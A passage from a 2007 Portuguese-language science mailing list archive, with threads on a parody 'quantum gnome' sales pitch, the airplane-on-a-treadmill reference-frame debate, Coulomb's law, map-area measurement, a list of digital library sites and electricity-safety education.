mesmo tempo, o que permite que com a compra de um único e exclusivo
duende você possa povoar todos os canteiros;
- obviamente são formatáveis; suas exclusivas propriedades duais lhes
garantem sempre uma incerteza que só colapsa em realidade efetiva
quando você, cosulente e provável comprador, mentaliza o fenômeno
desejado (isto é, passa a ser o observador);
- dado que não são matérioa e nem energia, podem eles, os duentes,
superar facilmente os paradoxos EPRs e outros tantos, o que lhes
permitem também interagir por tunelamento quântico diretamente nas
glândulas pineais dos pássaros e, dessa forma, transformá-los em
pássaros que se alimentarão apenas de luz dalí por diante, resolvendo
assim, e definitivamente, o problema da alimentação deles;
- além de tudo isso eles ainda vêm com mp3 e cartões de memória
expansíveis, utilizam um gerador de ondas de freqüências variáveis que
você poderá sintonizar para telepatias e viagens fora do corpo, sem
contar com as incríveis propriedades pulsantes da matéria que poderãos
ser facilmente alteradas via ressonância-magnética-nuclear-gigante ou
por meio das novíssimas unidades de compartilhameno de quarks da
matéria escura.

Por fim, se desejar envio catálogo com diferentes opções de cores,
sabores e spins nos quais os duendes estão disponíveis.

Obviamente, como você é meu amigo, farei um desconto promocional e
posso parcelar em até dez vezes cobrando apenas a metade dos juros, no
melhor estilo Casas Bahia.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> De: "José Carlos Antonio" Assunto: [ciencialist] Re: A idéia que
Einstein fazia de Deus
>
>
> > Eu vendo duendes. Algum interessado?
>
> Estou, e explico.
> Minha horta A consta de 10 canteiro de (1,0 x 10) m cada (obviamente
com contorno de alvenaria) e as 'mudinhas' estão sofrendo com o ataque
dos pardais e companheiros. Não ligo muito que os pássaros perambulem
pela horta depois de formada e até gosto de vê-los à vontade em meu
quintal. Mas, na fase de 'mudinhas' o ataque não é bem visto. Que
faço? Até então tenho usado de garrafas giratórias pelo próprio vento
(e aqui venta bastante!) com aletas revestidas de papel alumínio.
Enquanto giram os reflexos percorrem os '4 cantos da horta' e isso
funcionou por algum tempo --- mas, penso eu, os pássaros se
condicionaram e tais reflexos não está dando os resultados obtidos no
princípio (no princípio ele era o verbo, agora é uma mera partícula
apassivadora!). Se interessar publico a foto dessas garrafas.
> Quem sabe esses duendes não consigam algum resultado mais ao meu
favor! A Xuxa tb não vende duendes? Quais as propriedades cabalísticas
dos seus? São especializados em algum tipo de pássaro? Podem ser
re-formatados?
>
> aquele abraço,
>




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 23:44

Caro, professor José Carlos! Parece-me que vc se habituou em ser "esperto".

Em vez de apresentar de forma clara e definitiva onde está meu erro de
interpretação, vc esquece o problema e passa a tergiversar sobre o vocábulo
"chão". Isso não é recomendável para quem tem a responsabilidade de ser
exemplo e professar a verdade aos seus alunos. A esteira é o chão-móvel no
problema, por isso chamo de chão-esteira. Vc sabe disso, mas tenta enganar
os menos atentos com suas manobras diversionistas. Isso pode dar certo em
classes de alunos de nível médio, não aqui.

Dou-lhe mais um exemplo prático de "chão" móvel. O rio Amazonas afunila em
uma largura de pouco mais de um quilômetro próximo à cidade de Óbidos, em um
estreito que leva o nome da cidade. Em relação às margens e o solo os barcos
navegam velozes rio-abaixo, mas levam horas para vencer a velocidade da
correnteza quando se deslocam rio-acima. Em relação ao chão-rio os barcos
que sobem o rio nessa correnteza estão em alta velocidade, mas se movimentam
com baixa velocidade com relação às margens do rio. Isso ocorre, porque o
rio carrega o barco em sentido contrário, de um jeito semelhante ao da
esteira movimentando o avião em sentido contrário ao de empuxo e decolagem.

Que vc é espirituoso acredito que todos já sabem, está na hora de mostrar
que vc também é inteligente e honesto, que pratica e realiza o que orienta e
aconselha aos outros. Isto é, faz o que diz.

Abraços

José Renato

................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 07, 2007 1:31 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Grande José Renato!

Que bom reencontrar suas mensagens sobre o avião que não voa. Vamos
lá, primeiro resumindo o que você diz (e está mantido abaixo, na sua
mensagem original, caso duvide de si mesmo, he he).

A minha pergunta era: qual é o referencial que você está usando, meu
caro José Renato?

Eis suas respostas:

"> JR - Veja se memoriza a resposta: no problema da esteira e o avião
*o referencial é a esteira*. Está claro?"

"> JR - Vc está muito esquecido! O referencial que uso é o
chão-esteira onde o avião está pousado. Não deixa de ser o "chão", só
que está em movimento."

"> JR - Entre todas essa opções que vc concede, devo reafirmar *mais
uma vez* que é o chão-esteira."

Pelo que entendi você parece não saber muito bem qual é o seu
referencial, é isso? :)))

Primeiro você diz que é a esteira e ainda me pergunta se está claro,
depois você diz que é o chão-esteira (o que será isso???) e enfatiza
que "não deixa de ser o chão", só que este está em movimento (???) e,
por último, conclui dizendo que é o chão-esteira! :)))

Francamente, José Renato, como é possível algo "estar claro" diante da
sua confusão mental? :)

Vamos, reconheça, nem você sabe do que você estava falando quando
começou essa confusão. :)))

E aí, vai se decidir se é o chão, o chão móvel (??? essa doeu!), a
esteira ou o chão-esteira? Aliás, que referencial é esse
"chão-esteira"? :)))

Cara, você é mesmo uma piada!!!

To adorando!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, professor José Carlos!
> Suas inúmeras digressões e a repetitiva pergunta de qual é o
referencial que
> estou usando, já respondida diversas vezes, dá impressão de que vc está
> querendo tirar o foco do problema e tentar disfarçar suas
dificuldades de
> pensar movimentos. Veja se memoriza a resposta: no problema da
esteira e o
> avião *o referencial é a esteira*. Está claro? Faço outros
comentários após
> seu texto abaixo, após JR - .
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, May 05, 2007 3:19 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> José Renato,
>
> Primeiro permita-me uma gargalhada: ha ha ha. Pronto!
> Você nem imagina como suas mensagens têm me proporcionado momentos de
> alegria e descontração.
> JR - É uma boa gargalhar. Vc já descobriu por que ri do que escrevo?

(apaguei o restante)



SUBJECT: Re: OFF-TOPIC: Software para calcular área de mapa
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:49

Acho que isso não daria certo não, Takata, pois mapas topográficos
indicam superfícies tridimensionais. Dari certo se houvesse uma
maquete da superfície curva, pois nessa caso poderíamos recobri-la com
papel e depois pesar, como você sugeriu para o caso do mapa plano.

Minha "inguinorança" não permite pensar em nenhuma solução simples
além da construção da maquete, mas deve sim existir algum software que
calcule isso.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "psdias" <psdias@> escreveu
> > - Enfim, alguém conhece algum software não muito complicado de usar,
> > onde eu pudesse executar a tarefa que descrevi ?
>
> Tem um método muito simples.
>
> Vc pode pegar o desenho do mapa em um papel, recortar o contorno e
> pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área
> conhecida e faz o mm.
>
> Aplica a regra de três.
>
> (Tomar o cuidado para q o papel usado seja relativamente uniforme.)
>
> Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.
> Qto menor o quadriculado melhor - até o limite em q a espessura da
> linha da grade não distorça a área das quadrículas.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Fw: Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:51

Na minha opinião está bom.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Que tipo de resposta melhor convém à consulente que retorna aos estudos?
>
> Será que essa satisfaz?
> ++++++++++++++++++++++++
> Olá Claodinice,
> a lei de Coulomb foi estabelecida para 'cargas elétricas
puntiformes', ou seja, cargas elétricas depositadas em corpos cujas
dimensões próprias sejam irrelevantes em confronto com as distâncias
que as separam. Assim, duas esferas eletrizadas de raios 5 cm e a 10 m
de distância uma da outra satisfazem bem a lei de Coulomb, MAS, se
colocadas a 20 cm uma da outra, já não satisfaz mais. A 10 m de
distância uma da outra, suas cargas podem ser pensadas como
'concentradas' no centros geométricos das esferas (centros elétricos
coincidem com os centros geométricos), mas a 20 cm uma da outra, os
'centros elétricos' não mais coincidem com os centros geométricos das
esferas e então a 'tradicional' lei de Coulomb deve sofrer alterações
(por vezes, sérias alterações!).
> ++++++++++++++++++++++++
>
> que acham?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Claodinice Vargas
> Para: leobarretos@...
> Enviada em: sábado, 5 de maio de 2007 19:18
> Assunto: Preciso fazer uma pergunta, pois estou c/ uma duvida
>
>
> Olá, professor! Eu estou voltando a estudar, pois eu vou fazer o
vestibular. E estou revendo a materia de fisica. Essa eh a pergunta:
> A Lei de Coulomb pode ser usada para se calcular a força de
interaçao eletrica entre dois objetos quaisquer eletrizados? Por quê?
>
> Espero q vc possa me ajudar!
>
> Atenciosamente, Claudinice!
>
>
>
>
--------------------------------------------------------------------------------
> Procure em qualquer página Web com protecção eficaz. Obtenha já o
Windows Live Toolbar GRATUITO! Experimente já!
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date:
07/05/2007 14:55
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Fw: Pilha
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:53

Ela pode usar a pilha como "pesinho" nas experiências de Física. :)))

É, foi mal. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aceito sugestões para a resposta.
>
> Só não vale dizer: construa com esses materiais ... outra pilha!
>
> :-)
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Maria da Penha Machado
> Para: leobarretos@...
> Enviada em: sexta-feira, 4 de maio de 2007 10:56
> Assunto: Pilha
>
>
> Leo
>
> Sou aluna de uma Universidade e tenho que apresentar um seminario
onde tenho que demonstrar que o que se tira da pilha pode ser
aproveitado para fazer outra experiencia no laboratorio, como por exemplo:
> Grafite, Zn0 , MnO2, NH4Cl e ZnCl2 (pilha seca) em que posso usar
estes materiais que foram tirados da pilha.
>
>
>
>
>
> Obrigada
>
>
>
> Maria da Penha
>
>
>
>
--------------------------------------------------------------------------------
> Seja um dos primeiros a testar o novo Windows Live Mail Beta -
grátis Acesse e inscreva-se agora!
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date:
07/05/2007 14:55
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Sites para quem gosta de ler
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 23:59

Opa! Valeu! Já chupinhei e vou disponibilizar para meus baixinhos.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu
>
> Bibliotecas do Mundo
>
>
> a.. www.biblioteca.ufrgs.br - Biblioteca Central - localize os
livros das
> bibliotecas da UFRGS
>
> b.. www.bcnbib.gov.ar - Biblioteca del Congreso - item Expo Virtual
mostra
> alguns tesouros dessa biblioteca argentina
>
> c.. www.comunidadandina.org/bda - Biblioteca Digital Andina - Bolívia,
> Colômbia, Equador e Peru estão representados
>
> d.. www.obrasraras.usp.br - Biblioteca Digital de Obras Raras – livros
> completos digitalizados,
> como um de Lavoisier editado no século 19
>
> e.. www.hcanc.org.br/outrasinfs/biblio/biblio1.html - Biblioteca do
Hospital
> do Câncer - índice desse acervo especializado em oncologia
>
> f.. www.senado.gov.br/biblioteca - Biblioteca do Senado Federal -
sistema de
> busca nos 150 mil títulos da biblioteca
>
> g.. www.prefeitura.sp.gov.br/mariodeandrade - Biblioteca Mário de
Andrade -
> acervo, eventos e
> história da principal biblioteca de São Paulo
>
> h.. www.bn.pt - Biblioteca Nacional de Portugal – apresenta páginas
> especiais
> com reproduções relacionadas a Eça de Queirós e a Giuseppe Verdi, entre
> outros
>
> i.. www.bne.es - Biblioteca Nacional de España - entre as exposições
> virtuais,
> uma interessante coleção cartográfica do século 16 ao 19
>
> j.. www.bibnal.edu.ar - Biblioteca Nacional de la República Argentina –
> biblioteca, mapoteca
> e fototeca
>
> k.. www.bnm.me.gov.ar - Biblioteca Nacional de Maestros - biblioteca
> argentina
> voltada para
> a comunidade educativa
>
> l.. www.binape.gob.pe - Biblioteca Nacional del Perú - alguns livros
> eletrônicos, mapas e imagens
>
> m.. www.bncrm.librari.beniculturali.it - Biblioteca Nazionale
Centrale di
> Roma
> - expõe detalhes de obras antigas de seu catálogo
>
> n.. www.biblioteca.euroweb.ro - Biblioteca Româneasca - textos em
romeno e
> dados sobre autores do país:
>
> o.. www.bvg.udc.es - Biblioteca Virtual Galega - textos em língua
galega,
> parecida com o
> português:
>
> p.. www.bibalex.org/website - Bibliotheca Alexandrina - conheça a
> instituição
> criada à sombra da famosa biblioteca, que sumiu há mais de 1.600 anos
>
> q.. www.californiadigitallibrary.org - California Digital Library -
imagens
> e
> e-livros
> oferecidos pela Universidade da Califórnia
>
> r.. www.celtdigital.org - Celtic Digital Library - história e literatura
> celtas
>
> s.. www.cpmg.org.br/n_biblioteca.asp - Círculo Psicanalítico de
Minas Gerais
> -
> acervo
> especializado em psicanálise
>
> t.. www.moa.cit.cornell.edu - Cornell Library Digital Collections -
> compilações variadas, sobre
> agricultura e matemática, por exemplo
>
> u.. www.ucc.ie/celt - Corpus of Electronic Texts - história,
literatura e
> política irlandesas
>
> v.. www.crimelibrary.com - Crime Library - histórias reais de
criminosos,
> espiões e terroristas
>
> w.. www.educ.ar/educar/superior/biblioteca_digital - Educar Biblioteca
> Digital
> - em espanhol, apresenta livros e revistas de "todas as disciplinas"
>
> x.. www.gallica.bnf.fr - Gallica - Bibliothèque Numérique - volumes da
> Biblioteca Nacional
> da França digitalizados:
>
> y.. www1.umn.edu/humanrts - Human Rights Library - mais de 14 mil
documentos
> relacionados aos direitos humanos
>
> z.. www.idrc.ca/library - IDRC Library - textos e imagens desse
centro de
> estudos do desenvolvimento internacional
>
> aa.. www.fordham.edu/halsall/ancient/asbook.html - Internet Ancient
History
> Sourcebook - página dedicada à difusão de documentos da Antiguidade
>
> ab.. www.archive.org - Internet Archive - guarda páginas da internet
em seus
> diversos estágios de evolução
>
> ac.. www.ipl.org I- nternet Public Library - indica páginas em que
se podem
> ler documentos sobre áreas específicas do conhecimento
>
> ad.. www.cs.umb.edu/jfklibrary - John F. Kennedy Library - sobre o
> presidente
> americano John F. Kennedy, morto em 1963:
>
> ae.. www.libdex.com - LibDex - índice para localizar mais de 18 mil
> bibliotecas do mundo todo e seus sites
>
> af.. www.librarytechnology.org/libwebcats - Lib-web-cats - enumera
> bibliotecas
> de mais de 60 países, mas o foco são os EUA e o Canadá
>
> ag.. www.sunsite.berkeley.edu/Libweb - Libweb - outro site de busca de
> instituições, com 6.600 links de 115 países:
>
> ah.. www.msg.org.br - Mosteiro São Geraldo - livros e periódicos sobre
> história e literatura húngara, filosofia, teologia e religião
>
> ai.. www.nla.gov.au - National Library of Australia - divulga periódicos
> australianos da década de 1840
>
> aj.. www.odl.ox.ac.uk - Oxford Digital Library - centraliza acesso a
> projetos
> digitais das bibliotecas da Universidade de Oxford
>
> ak.. www.perseus.tufts.edu - Perseus Digital Library - dedicado a
estudos
> sobre os gregos e romanos antigos
>
> al.. www.bib.uab.es - Servei de Biblioteques - bibliotecas da
Universidade
> Autônoma de Barcelona
>
> am.. www.evidenceincamera.co.uk - The Aerial Reconnaissance Archives -
> recém-lançado, site promete divulgar 5 milhões de fotos aéreas da
Segunda
> Guerra Mundial
>
> an.. www.bl.uk - The British Library - além de busca no catálogo, tem
> coleções
> virtuais separadas por região geográfica
>
> ao.. www.digital.nypl.org - The Digital Library - diversas coleções
> temáticas,
> como a de escritoras negras americanas do século 19
>
> ap.. Twww.dsal.uchicago.edu - he Digital South Asia Library -
periódicos,
> fotos e estatísticas que contam a história do Sul da Ásia
>
> aq.. www.huntington.org - The Huntington - grande quantidade de
obras raras
> em
> arte e botânica
>
> ar.. www.mathforum.org/library - The Math Forum - textos que se
propõem a
> auxiliar no ensino da matemática
>
> as.. www.sadl.uleth.ca/nz/cgi-bin/library - The New Zealand Digital
Library
> -
> destaque para os arquivos sobre questões humanitárias
>
> at.. www.humi.keio.ac.jp/treasures - Treasures of Keyo University -
um dos
> destaques é a reprodução da Bíblia de Gutenberg
>
> au.. www.unesco.org/webworld/portal_bib - Unesco Libraries Portal -
> informações sobre bibliotecas e projetos voltados para a preservação da
> memória
>
> av.. www.uol.com.br/bibliot - UOL Biblioteca - dicionários, guias de
turismo
> e
> especiais noticiosos
>
> aw.. www.lib.utexas.edu - UT Library Online - possui uma ampla
coleção de
> mapas
>
>
> Bibliotecas Virtuais
>
>
> ax.. www.alexandriavirtual.com.br - Alexandria Virtual - acervo
variado, de
> literatura a humor
>
> ay.. www.bartleby.com - Bartleby.com - importantes textos, como os 70
> volumes
> da "Harvard Classics" e a obra completa de Shakespeare
>
> az.. www.bibliomania.com - Bibliomania - 2.000 textos clássicos e
guias de
> estudo em inglês
>
> ba.. www.fausernet.novara.it/fauser/biblio - Biblioteca dei Classici
> Italiani
> - literatura italiana, dos "duecento" aos "novecento"
>
> bb.. www.multimedios.org - Biblioteca Electrónica Cristiana - teologia e
> humanidades vistas por religiosos
>
> bc.. www.bibvirt.futuro.usp.br - Biblioteca Virtual do Estudante
Brasileiro
> -
> especializada em literatura em língua portuguesa
>
> bd.. www.biblio.com.br - Biblioteca Virtual - Literatura - pretende
reunir
> grandes obras literárias
>
> be.. www.cervantesvirtual.com - Biblioteca Virtual Miguel de Cervantes -
> cultura hispano-americana
>
> bf.. www.biblioteca.org.ar - Biblioteca Virtual Universal - textos
> infanto-juvenis, literários e técnicos
>
> bg.. www.uol.com.br/machadodeassis - Contos Completos de Machado de
Assis -
> mais de 200 contos de Machado de Assis
>
> bh.. www.cultvox.com.br - Cultvox - serviço que oferece alguns e-livros
> gratuitamente e vende outros
>
> bi.. www.dearreader.com - Dearreader.com - clube virtual que envia por
> e-mail
> trechos de livros
>
> bj.. www.ebooksbrasil.com - eBooksbrasil - livros eletrônicos
gratuitos em
> diversos formatos
>
> bk.. www.ig.com.br/paginas/novoigler/download.html - iGLer - acesso
rápido a
> duas centenas de obras literárias em português
>
> bl.. www.icdlbooks.org - International Children's Digital Library -
pretende
> oferecer e-livros infantis em cem línguas
>
> bm.. www.intratext.com - IntraText - textos completos em diversas
línguas,
> entre elas o latim
>
> bn.. www.secrel.com.br/jpoesia - Jornal da Poesia - importante acervo de
> poesia em língua portuguesa, com textos de mais de 3.000 autores
>
> bo.. www.netlibrary.net - Net eBook Library - biblioteca virtual com
parte
> do
> acervo restrito a assinantes do site
>
> bp.. www.nuovorinascimento.org/n-rinasc/homepage.htm - Nuovo
Rinascimento -
> especializado em documentos do Renascimento italiano
>
> bq.. www.literature.org - Online Literature Library - pequena
coleção para
> ler
> diretamente no navegador
>
> br.. www.liberliber.it/biblioteca - Progetto Manuzio - textos em
italiano
> para
> download, incluindo óperas
>
> bs.. www.gutenberg.net - Project Gutenberg - mantido por voluntários,
> importante site com obras integrais disponíveis gratuitamente
>
> bt.. www.biblioteca.clarin.com - Proyecto Biblioteca Digital Argentina -
> obras
> consideradas representativas da literatura argentina
>
> bu.. www.romanzieri.com - Romanzieri.com - livros eletrônicos em
italiano
> compatíveis com o programa Microsoft Reader
>
> bv.. www.sololiteratura.com - Sololiteratura.com - textos sobre autores
> hispano-americanos
>
> bw.. www.usc.es/~ilgas/escolma.html - Textos de Literatura Galega
Medieval -
> pequena seleção de poesias e histórias medievais
>
> bx.. www.online-literature.com - The Literature Network - poemas,
contos e
> romances de aproximadamente 90 autores
>
> by.. www.digital.library.upenn.edu/books - The Online Books Page -
afirma
> ter
> mais de 20 mil livros on-line
>
> bz.. www.sunsite.berkeley.edu/OMACL - The Online Medieval and Classical
> Library - obras literárias clássicas e medievais
>
> ca.. www.usinadeletras.com.br - Usina de Letras - divulga a produção de
> escritores independentes
>
> cb.. www.vbookstore.com.br - Virtual Book Store - literatura do Brasil e
> estrangeira, biografias e resumos
>
> cc.. www.virtualbooks.terra.com.br - Virtual Books Online - e-livros
> gratuitos
> em português, inglês, francês, espanhol, alemão e italiano
>
>
>
>
> Sobre Teses e Dissertações
>
>
>
>
> a.. www.capes.gov.br - Científicos Banco de Teses - resumos de teses e
> dissertações apresentadas no Brasil desde 1987
>
> b.. www.teses.usp.br - Biblioteca Digital de Teses e Dissertações -
textos
> integrais de parte das teses e dissertações apresentadas na USP
>
> c.. www.bireme.br - Biblioteca Virtual em Saúde - revistas científicas e
> dados
> de pesquisas sobre adolescência, ambiente e saúde
>
> d.. www.theses.mit.edu - Digital Library of MIT Theses - algumas
teses do
> Instituto de Tecnologia de Massachusetts; a mais antiga é de 1888
>
> e.. www.lib.umi.com/dissertations - ProQuest Digital Dissertations -
sistema
> para pesquisar resumos de teses e de dissertações
>
> f.. www.universiabrasil.net/busca_teses.jsp - Universia Brasil -
busca teses
> nas universidades públicas paulistas e na PUC-PR
>
>
>
> Outros Sites Publicações e Periódicos
>
>
> a.. www.grin.hq.nasa.gov - Great Images in Nasa - imagens históricas da
> agência espacial
> americana
>
> b.. www.phil.cdc.gov - Public Health Image Library - fotos,
ilustrações e
> animações voltadas para o esclarecimento de questões de saúde pública
>
> c.. www.ncbi.nlm.nih.gov/entrez/query.fcgi - PubMed - referências a 14
> milhões
> de artigos biomédicos
>
> d.. www.scielo.br - SciELO - biblioteca eletrônica com periódicos
> científicos
> brasileiros
>
> e.. www.sciencedirect.com - ScienceDirect - mais de 1.800 revistas,
de "ACC
> Current Journal Review" a "Zoological Journal"
>
>
> Associações
>
>
> a.. www.ala.org - American Library Association - sobre o sistema de
> bibliotecas dos EUA
>
> b.. www.apbad.pt - Associação Portuguesa de Bibliotecários,
Arquivistas e
> Documentalistas – publicações indicadas e agenda de eventos da área
>
> c.. www.abf.asso.fr - Association des Bibliothécaires Français - dossiês
> sobre
> o sistema francês de bibliotecas e temas correlatos
>
> d.. www.cfb.org.br - Conselho Federal de Biblioteconomia - atualidades e
> links
> de interesse da área
>
> e.. www.crb8.org.br - Conselho Regional de Biblioteconomia de São
Paulo -
> legislação e eventos da biblioteconomia
>
> f.. www.clir.org - Council on Library and Information Resources -
> organização
> que se preocupa com a preservação de informações
>
> g.. www.eblida.org - European Bureau of Library, Information and
> Documentation
> Associations - entidade européia dedicada à promoção da ciência da
> informação
>
> h.. www.ifla.org - International Federation of Library Associations and
> Institutions - associação com membros em mais de 150 países
>
> i.. www.sedic.es - Sociedad Española de Documentación e Información
> Científica
> - oportunidades, como cursos virtuais
>
>
>
>
> Bibliotecas Públicas
>
>
>
>
> a.. www.loc.gov - Biblioteca do Congresso americano - considerada a
maior e
> uma das melhores bibliotecas do mundo, é referência internacional, com
> conteúdos trabalhados e relacionados
>
> b.. www.bn.br - Biblioteca Nacional (Brasil) - o site é referência para
> todas
> as bibliotecas do país, com farta documentação e imagens
digitalizadas, além
> de
> informações e serviços
>
> c.. www4.prefeitura.sp.gov.br/biblioteca/PaginaInicial.asp -
Bibliotecas da
> cidade de São Paulo - a cidade tem a maior rede de bibliotecas
públicas do
> país, e uma visita ao site é imprescindível para conhecer suas
coleções e
> serviços, com destaque para as obras e imagens digitalizadas da
Biblioteca
> Mário de Andrade
>
> d.. www.prossiga.br - Bibliotecas virtuais do sistema MCT/CNPq/Ibict -
> grande
> referência na área de bibliotecas virtuais, é o site mais importante no
> Brasil
> de informação e comunicação sobre ciência e tecnologia
>
> e.. www.bibliotecas-cruesp.usp.br - Bibliotecas das universidades
públicas
> paulistas - o consórcio Cruesp/Bibliotecas interliga Unesp, Unicamp
e USP, e
> o
> internauta pode consultar as mais importantes bibliotecas
universitárias do
> país, referências para diferentes campos da pesquisa.
>
>
>
>
>
>
>
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> ----- Finalizar mensagem encaminhada -----
>
>
>
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___________________________________________________________________________________
> Para fazer uma ligação DDD pra perto ou pra longe, faz um 21. A
Embratel tem
> tarifas muito baratas esperando por você. Aproveite!
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Fw: Informações importantes
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/05/2007 00:01

Léo, eu tenho um material que "compilei" a partir de sites das
companhias de energia elétrica, mas não atende a todas as exigências
do seu consulente, pois trata apenas do cálculo do consumo e das
formas de se economizar energia elétrica, se quiser dar uma olhada lhe
passo.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, ivanildo ximenes
<icximenes@...> escreveu
>
> Marcio Ortman,
>
> Como sugestão, procure nos escritórios da Eletrobrás ou de Furnas
quem responde pelo programa Procel nas Escolas.
> Você terá todo a referência e material para realizar um bom trabalho.
>
> Ivanildo Ximenes
>
> Luiz Ferraz Netto <leobarretos@...> escreveu:
Tem alguém do Rio de Janeiro nessa lista que possa
transmitir a ajuda necessária?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Marcio Ortman
> Para: leobarretos@...
> Enviada em: sexta-feira, 4 de maio de 2007 09:31
> Assunto: Informações importantes
>
> Prezado Professor,
>
> Antes de mais nada quero parabenizá-lo pela página, onde podemos
ter as mais variadas e importantes informações sobre os diversos
campos da ciência.
> Participo de uma empresa de eventos e promoções aqui no Rio de
Janeiro e, estamos desenvolvendo um projeto voltado para as
comunidades carentes do município e do estado. Queremos levar às
crianças e jovens desses locais, informações sobre a correta
utilização da energia elétrica. A idéia é criar nos " consumidores
futuros " ( crianças e jovens ) a consciência do que a energia
elétrica nos traz em termos de conforto e, principalmente segurança.
Um exemplo: nossa intenção é mostrar como " nasce " a energia
elétrica, como hidroelétrica, termoelétricas e demais fontes
fornecedoras de energia. A energia elétrica é paga ( os investimentos
feitos pelas distribuidoras é muito grande - as pessoas, de modo
geral, não dão muita atenção para isso, só sentindo na pele quando a
energia falta ). Vamos mostrar que furtar energia elétrica ( o famoso
" gato " ) é crime, além de extremamente perigoso, com risco de vida.
Mostrar os riscos como soltar pipas perto dos fios da rede elétrica,
> subir em postes, etc... . É importante mostrar como utilizar
corretamente a energia elétrica, através da manutenção dos aparelhos
elétricos ( não secar roupas na parte de trás de geladeiras, não
sobrecarregar as tomadas com benjamins em demasia ). Enfim, tentar,
através de uma maneira lúdica o que é a energia elétrica.
> Para não tornar o assunto " chato " e com isso perder a atenção de
nosso público, pretendemos encenar uma peça teatral com personagens
mostrando esses assuntos de maneira divertida. Pretendemos colocar
artefatos, mostrando como " criar " eletricidade, como uma bicicleta
que ao ser pedalada, acende o seu farol através do dinamo. Que tipo de
colaboração poderíamos obter do senhor à respeito do assunto ? Além da
bicicleta citada, que outros " brinquedos " ( se é que podemos chamar
assim ) poderíamos exemplificar para as crianças ? Para não tomar
muito o seu tempo, procurei resumir o assunto, mas eu acho que deu
para o senhor entender, não ?
>
> Agradeço antecipadamente a sua atenção,
>
> Obrigado,
>
> Marcio Ortman
>
> ----------------------------------------------------------
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>
>
>
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SUBJECT: RES: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/05/2007 00:06

José Renato,

O professor José Carlos havia comentado em e-mails anteriores que é
necessário ter um referencial para o problema, seja ele qual for o escolhido
(e você havia concordado, é claro). Isso é básico, sem dúvida, e nem
precisava ser dito.

Mas ele também havia mostrado que não faz nenhum sentido a esteira ser o
referencial. Relembrando, o enunciado afirma que:

"(...) O avião se move em uma direção, e a esteira na
direção oposta. A esteira tem um sistema de controle que acompanha a
velocidade do avião e faz com que a esteira tenha exatamente a mesma
velocidade dele, na direção oposta. A pergunta é: o avião vai
conseguir decolar?"

Se o referencial estiver na esteira, ela não se move. Aliás, o enunciado
também estaria errado/sem sentido se o referencial estivesse no avião, pois
o avião não poderia se mover, ou ter velocidade.

O referencial, para o que o problema chama de velocidades da esteira e do
avião, poderia estar onde você quiser (chão, torre eifel, cratera da Lua,
etc), sem problema nenhum, mas, repito, tornaria inválido o enunciado se
estivesse na esteira ou no avião.


OK?

Um abraço,

Ricardo




-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quarta-feira, 9 de maio de 2007 23:45
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada

Caro, professor José Carlos! Parece-me que vc se habituou em ser "esperto".

Em vez de apresentar de forma clara e definitiva onde está meu erro de
interpretação, vc esquece o problema e passa a tergiversar sobre o vocábulo
"chão". Isso não é recomendável para quem tem a responsabilidade de ser
